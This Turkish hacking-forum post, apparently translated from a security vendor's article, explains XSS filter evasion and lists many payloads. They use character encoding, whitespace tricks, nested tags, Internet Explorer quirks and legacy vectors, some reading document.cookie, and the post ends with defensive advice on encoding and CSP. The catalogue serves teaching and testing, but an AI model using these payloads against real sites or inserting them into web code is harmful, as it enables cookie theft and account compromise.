İçerik Filtre Atlatma Saldırıları (XSS Filter Evasion)

Rx

Kıdemli Üye
12 Ocak 2021
2,317
1,447
(nowhere) in
Merhabalar sevgili TurkHackTeam ailesi bugün sizlere İçerik Filtre Atlatma Saldırıları adlı konum ile sizlerin karşısına çıkıyorum. Umarım hoşunuza giden bir konu olur.



XSS filtre atlatma, saldırganların
Cross-Site Scripting filtrelerini aşmak için kullandığı çeşitli yöntemlere atıfta bulunur. Kötü niyetli JavaScript'i web sayfası koduna enjekte etmeye çalışan saldırganlar, yalnızca bir uygulama açığını istismar etmekle kalmaz, aynı zamanda girdi doğrulamasından kaçınmalı ve karmaşık tarayıcı filtrelerini de kandırmalıdır. Bu makale, XSS filtre atlatmanın bazı yaygın yaklaşımlarını inceler ve uygulama güvenliğini artırmak için neler yapabileceğinizi gösterecektir.


47m78xq.gif



bmb5x51.png

XSS Filtreleme Nedir ve Ne Zaman Kullanılır?


XSS filtre atlatmayı incelemeden önce, XSS filtreleme kavramına kısaca göz atalım. Uygulama seviyesinde, bu, özellikle script enjeksiyonunu tespit etmek ve önlemek için gerçekleştirilen girdi doğrulaması anlamına gelir. Filtreleme, tarayıcıda yerel olarak ve/veya sunucu tarafında işleme sırasında yapılabilir ve yıllar boyunca bu, filtrelemenin ana formuydu. XSS saldırıları daha yaygın ve tehlikeli hale geldikçe, tarayıcı üreticileri, en azından bazı Cross-Site Scripting girişimlerinin kullanıcıya ulaşmasını önlemek için koruma eklemeye başladı.

Genel fikir, filtrenin, kullanıcı tarafından girilen veya tarayıcıya gelen kodu tarayarak, beklenmedik yerlerde şüpheli <script> etiketleri gibi tipik XSS yüklerinin belirtilerini aramasıdır. Filtrelemenin yaygın yaklaşımları arasında karmaşık düzenli ifadeler (regex) ve kod dizesi kara listeleri bulunur. Potansiyel olarak tehlikeli kod bulunursa, filtre, tüm sayfayı veya sadece şüpheli kod parçasını engelleyebilir. Her iki tepkinin de dezavantajları vardır ve hatta yeni güvenlik açıkları ve saldırı vektörleri açabilir, bu da bazı üreticilerin
entegre tarayıcı filtrelerinden uzaklaşmasının nedenlerinden biridir.

Tüm filtreleme yaklaşımlarının sınırlamaları vardır. Tarayıcı tarafından yapılan XSS filtreleme, saldırgan tarafından enjekte edilen kötü niyetli kodun doğrudan istemci tarayıcısına yansıtıldığı yansıtılan XSS saldırılarına karşı yalnızca etkili olabilir. Filtreler ve denetleyiciler, tarayıcı tarafından ayrıştırılmayan saldırı kodları karşısında, DOM tabanlı XSS ve depolanan XSS dahil, işe yaramaz. Sunucu tarafı filtreleri ise yansıtılan ve depolanan XSS'ye karşı yardımcı olabilir, ancak istismar kodu sunucuya ulaşmadığı için DOM tabanlı saldırılara karşı etkisizdir. Web uygulamasının kendisi tarafından yapılan girdi filtrelemesi teorik olarak tüm XSS saldırı türlerini tespit edebilse de, otomatik filtrelerle çakışabilir ve yeni istismarlara ayak uydurmak için sık güncellemeler gerektirir.


5aE7rL.png

Saldırganlar Cross-Site Scripting Filtrelerini Nasıl Atlatabilir?


XSS filtreleme, saldırganların XSS saldırıları tasarlarken karşılaştıkları zorluklara ekstra bir katman ekler, çünkü başarılı bir şekilde enjekte edilen her türlü script kodunun da filtrelerden geçmesi gerekir. XSS saldırıları genellikle uygulama açıklarını ve yanlış yapılandırmaları hedef alırken, atlatma teknikleri tarayıcı veya sunucu tarafındaki filtrelerin zayıflıklarını, belirli ürünlere ve sürümlere kadar istismar eder.

Aşağıda gösterildiği gibi sayısız atlatma yaklaşımı vardır, ancak ortak payda, hepsinin web teknolojisi spesifikasyonlarının ürün bazlı uygulamalarını kötüye kullanmasıdır. Herhangi bir tarayıcının kod tabanının büyük bir kısmı, bozuk HTML, CSS ve JavaScript'i zarif bir şekilde ele almaya ve kodu kullanıcıya sunmadan önce düzeltmeye çalışmaya ayrılmıştır. XSS filtre atlatma teknikleri, bu dillerin, spesifikasyonların, istisnaların ve tarayıcıya özgü tuhaflıkların karmaşık yapısından yararlanarak zararlı kodu filtrelerin üzerinden geçirmeyi amaçlar.



5aE7rL.png

XSS Filtre Atlatma Tekniklerine Örnekler


Filtre atlatma teknikleri, web kodunun ayrıştırılması ve işlenmesiyle ilgili herhangi bir yönü istismar etmeyi deneyebilir, bu yüzden katı kategoriler yoktur. En bariz script etiketlerini enjekte etme girişimleri genellikle reddedilecektir, ancak diğer HTML etiketleri de enjeksiyon vektörleri sağlayabilir. Etkinlik işleyicileri, meşru kullanıcı eylemlerine bağlanabileceğinden, genellikle script yüklemesini tetiklemek için kullanılır. Sıklıkla istismar edilen işleyiciler arasında onerror, onclick ve onfocus bulunur, ancak desteklenen etkinlik işleyicilerinin çoğu XSS vektörleri olarak kullanılabilir.

Aşağıdaki örnekler, tipik yaklaşımların bir seçkisini göstermektedir, ancak liste kesinlikle kapsamlı değildir. Sadece örnek olması için verilmiştir.


5aE7rL.png

Karakter Kodlama Hileleri


Belirli şüpheli dizeleri doğrudan tarayan filtreleri atlatmak için, saldırganlar bir dizi karakteri çeşitli şekillerde kodlayabilirler:
Bazı veya tüm karakterler,
HTML varlıkları olarak ASCII kodlarıyla yazılabilir ve filtrelerin doğrudan javascript gibi bir dize aradığı durumlarda atlatılabilir:

HTML:
<a href="javascript:alert('Successful XSS')">Bu bağlantıya tıklayın!</a[SIZE=4][COLOR=rgb(255, 255, 255)]>[/COLOR][/SIZE]

HTML varlık kodlarını arayan filtrelerden kaçınmak için
&# ile başlayıp bir sayıyı takip eden filtreler, ASCII kodları için onaltılık kodlama kullanılabilir:

HTML:
<a href="javascript:alert(document.cookie)">Bu bağlantıya tıklayın!</a>

Base64 kodlama, saldırı kodunu gizlemek için kullanılabilir – bu örnekte ayrıca "Successful XSS" yazılı bir uyarı da gösterilir:

HTML:
<body onload="eval(atob('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">

Tüm kodlanmış karakter varlıkları, 1 ila 7 arasında sayısal karakterden oluşabilir ve başlangıçtaki sıfırlar görmezden gelinir, bu nedenle sıfır dolgusu kombinasyonları mümkündür. Ayrıca, varlıkların sonunda noktalı virgül gerekli değildir:

HTML:
<a href="javascript&#0000058&#0000097lert('Successful XSS')">Bu bağlantıya tıklayın!</a>

Karakter kodları, XSS yüklerini gizlemek için kullanılabilir:

HTML:
<iframe src=# onmouseover=alert(String.fromCharCode(88,83,83))></iframe>

Bu kodlama hileleri, saldırganların filtre atlatma tekniklerini çeşitlendirmelerine ve güvenlik kontrollerini aşmalarına olanak tanır.


5aE7rL.png

Boşluk Karakterlerinin Gömülmesi


Tarayıcılar, HTML ve JavaScript kodundaki boşluk karakterlerine çok hoşgörülüdür, bu nedenle gömülü baskılanmayan karakterler filtreleri atlatmak için kullanılabilir:

Sekme karakterleri, kod ayrıştırılırken yok sayılır, bu nedenle anahtar kelimeleri bölmek için kullanılabilir, örneğin bu
img etiketi (güncel tarayıcılarda artık çalışmadığını unutmayın):


HTML:
<img src="java    script:al ert('Successful XSS')">

Sekmeler kodlanarak da kullanılabilir:

HTML:
<img src="java    script:al    ert('Successful XSS')">

Sekmeler gibi, yeni satırlar ve satırbaşı karakterleri de yoksayılır ve kodlanarak da kullanılabilir:


HTML:
<a href="jav
a
script:
ale&#x0Drt;('Successful
XSS')">Google.com'u ziyaret edin</a>

Bazı filtreler, "javascript: veya 'javascript: arayabilir ve tırnak işaretinden sonra boşluk beklemeyebilir. Aslında, 1 ila 32 (onaltılık) arasındaki herhangi bir sayıda boşluk ve meta karakter geçerli olacaktır:


HTML:
<a href="  &#x8; &#23;   javascript:alert('Successful XSS')">Bu bağlantıya tıklayın!</a>

Bu boşluk karakterlerinin kullanımı, filtrelerin atlatılmasına ve XSS saldırılarının başarılı bir şekilde gerçekleştirilmesine olanak tanır.


5aE7rL.png

Etiket Manipülasyonu


Eğer filtre sadece kodu bir kez tarar ve belirli etiketleri, örneğin <script>, kaldırırsa, bunları diğer etiketlerin içine gömerek kaldırıldıktan sonra geçerli kod bırakacaktır:


HTML:
<scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>

Genellikle, özellikler arasındaki boşluklar atlanabilir. Ayrıca, bir
slash, etiket adı ile özellik adı arasında geçerli bir ayırıcıdır ve girdilerdeki boşluk sınırlamalarını atlatmak için kullanışlı olabilir – tüm dizede boşluk yoktur:


HTML:
<img/src="funny.jpg"onload=javascript:eval(alert('Successful&#32XSS'))>

Ve tümüyle boşluk olmadan başka bir örnek, bu sefer daha az yaygın
svg etiketi kullanılarak:


HTML:
<svg/onload=alert('XSS')>

Atlatma girişimleri, tarayıcıların hatalı etiketleri yorumlamak ve tamamlamak için çaba sarf etmesini de kullanabilir. İşte
href özelliğini ve tırnak işaretlerini atlayan bir örnek (diğer çoğu olay işleyicisi de kullanılabilir):


HTML:
<a onmouseover=alert(document.cookie)>Google.com'a git</a>

Ve tamamen harap edilmiş bir img etiketi için tarayıcı tamamlamasının aşırı bir örneği:


HTML:
<img """><script src=xssattempt.js></script>">

Bu manipülasyon teknikleri, filtrelerin atlatılmasına ve XSS saldırılarının başarıyla gerçekleştirilmesine olanak tanır.


5aE7rL.png

Internet Explorer Kötüye Kullanımı


Diğer Microsoft teknolojileriyle entegrasyonla ilgili birçok standart olmayan uygulama ve özelliğe sahip olduğu için, Internet Explorer bazı benzersiz filtre atlatma vektörleri sunar. (Ve onu eski ve marjinal bir tarayıcı olarak görmezden gelmeden önce, birçok eski işletme uygulamasının hala eski IE sürümlerine güvendiğini unutmayın.)

XSS denetimlerinin çoğu JavaScript'i kontrol ederken, Internet Explorer, IE10'a kadar
VBScript'i de kabul ederdi:


HTML:
<a href='vbscript:MsgBox("Successful XSS")'>Buraya tıklayın</a>

Başka bir benzersiz IE özelliği, dinamik özelliklerdir – CSS değerleri olarak betik ifadelerini belirtme yeteneği:


CSS:
body { color: expression(alert('Successful XSS')); }

Nadir ve kullanımdan kaldırılmış
dynsrc özelliği başka bir vektör sağlayabilir:


HTML:
<img dynsrc="javascript:alert('Successful XSS')">

Çift ve tek tırnaklara ihtiyaç duyduğunuzda ters tırnakları kullanın:


HTML:
<img src=`javascript:alert("The name is 'XSS'")`>

Eski IE sürümlerinde, harici bir stil sayfası olarak gizlenmiş bir betik de dahil edebilirdiniz:


HTML:
<link rel="stylesheet" href="http://example.com/xss.css">

Bu Internet Explorer'a özgü kötüye kullanım teknikleri, filtreleri atlatmanıza ve XSS saldırılarını gerçekleştirmenize olanak tanır.


5aE7rL.png

Eski Yöntemler


Son olarak, çoğu modern tarayıcı tarafından reddedilen bazı vektörler:

Arka plan resmi manipülasyonu:

HTML:
<body background="javascript:alert('Successful XSS')">

Veya bir stil kullanarak:

HTML:
<div style="background-image:url(javascript:alert('Successful XSS'))">

Img etiketleri olmadan resimler:

HTML:
<input type="image" src="javascript:alert('Successful XSS')">

Meta etiketi kullanarak yönlendirme: Bazı eski tarayıcılarda, bu, Base64 kodlanmış JavaScript kodunu değerlendirerek bir uyarı görüntüleyecektir:

HTML:
<meta http-equiv="refresh" content="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

Ve son olarak, ilginç bir (ancak tamamen desteklenmeyen) vektör, XSS yükünü gizlemek için UTF-7 kodlamasını kullanan bir vektör:

HTML:
<head><meta http-equiv="content-type" content="text/html; charset=utf-7"></head>+adw-script+ad4-alert('xss');+adw-/script+ad4-

Bu eski yöntemler, filtreleri atlatmanıza ve XSS saldırılarını başarıyla gerçekleştirmenize olanak tanır.


5aE7rL.png

Uygulamalarınızı Cross-Site Scripting'ten Nasıl Korursunuz


Filtreleme yoluyla atlatma yöntemlerinin yüzlerce olduğu ve sürekli olarak yeni vektörlerin ortaya çıktığı göz önüne alındığında, açıktır ki yalnızca filtreleme çözüm değildir. Filtreler XSS saldırılarını önlemez, ancak yalnızca saldırı girişimleri olabilecek dar bir kod deseni alt kümesini ortadan kaldırır. Aslında, filtreleme, kötü amaçlı kodu engellemeye çalışarak yanlış problemi çözmektedir. Bu, tarayıcı üreticilerinin filtrelemeyi giderek terk etmeye başlamasının bir nedenidir.

Güvenli olmayan kod yazarak, geliştiriciler, filtrelerden çok daha fazla etkiye sahip olabilirler. Uygulama seviyesinde, bu, bağlam duyarlı kaçış ve kodlama yöntemlerinin doğru bir şekilde uygulanmasıyla sağlanabilir. HTTP protokolü düzeyinde,
Cross-Site Scripting'e karşı ana silah, uygun HTTP güvenlik başlıklarının kullanılmasıdır, özellikle de düzgün yapılandırılmış İçerik Güvenlik Politikası (CSP) başlıkları. Ve her zamanki gibi, işletme sınıfı bir web zafiyet tarayıcısı kullanarak uygulamalarınızı düzenli olarak kontrol etmek, güvenliğinizi güncel tutmak için esastır.


rmo4x83.png
Kaynak

47m78xq.gif



Umarım işinize yarayacak bir konu olmuştur, iyi forumlar dilerim..

jyo2qm.png



ovca0xc.gif
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.